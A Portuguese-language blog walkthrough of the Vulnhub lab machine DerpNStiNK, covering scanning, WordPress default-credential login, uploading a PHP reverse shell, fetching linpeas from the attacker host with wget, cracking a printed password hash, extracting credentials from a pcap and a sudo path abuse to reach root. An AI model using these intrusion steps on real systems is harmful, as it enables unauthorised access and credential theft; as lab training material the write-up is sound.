Home Vulnhub - DerpNStiNK
Post
Cancel

Vulnhub - DerpNStiNK

Link da Maquina: https://www.vulnhub.com/entry/derpnstink-1,221/

Scan/Enumeracao

Host Discovery

  • Com o arp-scan descobrimos que o nosso alvo esta no ip 192.168.150.118
1
sudo arp-scan -I eth1 192.168.56.0/24

Port Discovery

  • Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 07 delas abertas. 22, 53, 80, 110, 139, 143 e 445
1
sudo nmap -n -T5 -p- 192.168.56.104

Port Scan

  • Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo
1
sudo nmap -n -T5 -A -p 21,22,80 192.168.56.104

  • Porta 21: vsftpd 3.0.2
  • Porta 22: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
  • Porta 80: Apache httpd 2.4.7 ((Ubuntu))

Enumeracao/Exploracao Web

  • A primeira coisa a se fazer quando temos uma pagina web e entrar nela pelo browser, para realizar uma inspecao visual na mesma

  • Seguindo a metodologia, vamos ver o que temos no codigo fonte da pagina. Temos uma chamada para um arquivo info.txt

  • Olhando o conteudo dele… temos uma informacao do Dev, ele pede pra atualizarmos o nosso arquivo hosts com o dns local do novo blog, para que possamos acessar ele…

  • <– @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live –>
  • Encontramos tambem uma flag no codigo fonte

Fuzzy de Diretorios - Gobuster

  • Ja que nao temos mais nada na pagina, vamos fazer um fuzzy para ver o que podemos explorar. De todas os arquivos e diretorios que o gobuster nos retornou o mais interessante e o /weblog
1
gobuster dir -u http://192.168.56.104 -w /usr/share/wordlists/dirb/big.txt

  • Tentando acessar a pagina pelo endereco 192.168.56.104/weblog ele nos redireciona para o derpnstink.local/weblog.

Alterando o arquivo /etc/hosts

  • Seguindo a dica do desenvolvedor vamos inserir no nosso arquivo hosts o dns da pagina

http://derpnstink.local/weblog/

  • Conseguimos ter acesso ao blog…

Fuzzy de diretorios - Gobuster

  • Agora que temos acesso ao WP vamos fazer um fuzzy de diretorios nele
1
gobuster dir -u http://192.168.56.104/weblog -w /usr/share/wordlists/dirb/big.txt -x php

  • Encontramos alguns arquivos e diretorios padrao do WordPress, dentre eles tem o /wp-login.php, com uma pagina de login

Login WordPress

  • Sempre que nos depararmos com paginas de login uma dica e sempre tentar as senhas obvias ou a senha padrao da aplicacao… e para a nossa surpresa conseguimos entrar na pagina de administracao do Wordpress com a credencial admin:admin

Explorando o WordPress

  • Dentro do wordpress podemos inserir um payload em php para nos retornar o shell reverso

  • Na pagina de administracao do WP vamos entrar na aba Slideshow -> Manage Slides, clicar em Add New e preencher alguns campos e inserir o nosso arquivo com o shell-code no lugar da imagem

  • No kali tem alguns modelos de shell-codes em php disponiveis em /usr/share/webshells/php.
  • Para essa maquina utilizamos o php-reverse-shell.php. Tem que lembrar de alterarar o IP

Shell Reverso - www-data

  • Apos ter criado um novo “slide” vamos clicar na imagem que foi carregada. Antes disso tem que deixar a porta escutando na kali

  • Temos o shell do usuario www-data

Usuario www-data

Escalando Privilegio

  • Seguindo a metodologia para escalar privilegio, verificamos se conseguimos executar comando com o sudo, mas sem sucesso. Entao vamos rodar o linpeas.sh para tentar achar alguma coisa que possa nos ajudar… Primeiro devemos baixar o linpeas no github e depois seguir os seguinte passos
1
2
3
4
sudo python3 -m http.server 80 #Na kali, para enviar o script linpeas para o alvo
wget 192.168.56.101/linpeas.sh #No alvo, para baixar o script
chmod +x lipeas.sh #No alvo, dar permissao de execucao para o script
./linpeas.sh #No alvo, executar o script

  • Conseguimos ver no resultado do linpeas os usuarios que podem logar na maquina. Poderiamos ver de outras formas, lendo o arquivo /etc/passwd, por exemplo…

  • root
  • mrderp
  • speech-dispacher
  • stinky
  • Encontrando tambem as credenciais para entrar no bando de dados em /var/www/html/weblog/wp-config.php

  • root:mysql

MySQL

  • Vamos entrar no mysql com a credencial encontrada…
1
mysql -uroot -p

  • Vamos ver o que o banco tem de interessante. Temos alguns banco de dados, mas vamos acessar primeiramente o do wordpress…
show databases;
use wordpress;
show tables;
select * from wp_users;

  • Encontramos na tabela wp_users o cadastro dos dois usuarios da aplicacao. Um deles e o que ja temos a senha, admin… O outro usuario e o unclestinky
  • Na coluna da senha tem um hash
  • unclestinky:$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41

Hash-Identifier

  • Vamos ver do que se trata esse hash
1
hash-identifier

  • Conseguimos quebrar o hash da senha do usuario unclestinky, wedgie57. Entao agora temos outra credencial unclestinky:wedgie57

Usuario Stinky

  • Temos um usuario chamado “stinky” na maquina, ao verificar se ele reaproveitava a senha de outras aplicacoes para logar obtivemos sucesso e conseguimos entrar com o stinky

  • Para deixar mais performatica a nossa iteracao com a maquina vamos tentar acessar via ssh, uma vez que temos a senha do usuario… Barro! Nao conseguimos acessar via ssh, entao vai na raca com o shell cachorro msm

FTP

  • Acessando o /home/stinky temos o diretorio do ftp

  • Vamos dar uma olhada no diretorio ssh… Conseguimos achar um arquivo key.txt

  • Parece que e uma chave privada…

  • Tentamos logar nos usuarios com a chave mas nao conseguimos…

  • Achamos o arquivo derpissues.txt dentro do diretorio /network-logs

  • O arquivo e uma conversa entre os dois usuarios stinky e mderp, um deles fala que perdeu a senha e o outro diz para ele monitorar a rede. Provavelmente deve ter alfuma coisa em relacao a isso para podermos escalar privilegio…

Flag - Stinky

  • Varrendo os diretorios do /home do stinky encontramos um arquivo flag.txt no Desktop

Wireshark

  • No diretorio Documents temos um arquivo derpissues.pcap. Vamos transferir ele para a nossa maquina para analisarmos melhor…

  • Para transferir deixamos uma porta escutando na nossa maquina e redirecionando o trafego para um arquivo .pcap. No alvo conectamos a essa porta da kali com o nc e direcionamos o arquivo para ela. Para tirar a prova real que o arquivo nao corrompeu tiramos o hash dele

  • Carregamos o arquivo no wireshark e comecamos a analisar. Filtramos por pacotes TCP -> Clicamos com o botao direito em cima da captura -> Follow -> TCP Stream. Conseguimos ver o formulario passando a autenticacao do usucario mderp

  • Conseguimos achar a credencial mrderp:derpderpderpderpderpderpderp

Usuario - MrDerp

  • Conseguimos fazer o login com o usuario mrderp com a credencial achada

  • Verificamos os arquivos que conseguimos executar com o sudo
1
sudo -l

  • Podemos executar como sudo o que estiver no /home/mrderp/binaries/derpy*. Ou seja temos que criar um arquivo com esse nome…

Root

  • Primeiramente vamos criar um diretorio binaries pois nao tem ele originalemente…

  • O proximo passo e fazer um script derpy.sh

  • Agora e so dar permissao de execucao para o script, deixar a porta escutando na Kali e executar o script como sudo

Flag Root

  • Conseguimos escalar privilegio ate chegarmos ao ROOT e conseguimos pegar a flag

Bonus

  • DAR UMA OLHADA NO MATERIAL QUE TA NO BLOG DO 0x4rt3mis DESSA MAQUINA…
This post is licensed under CC BY 4.0 by the author.
Contents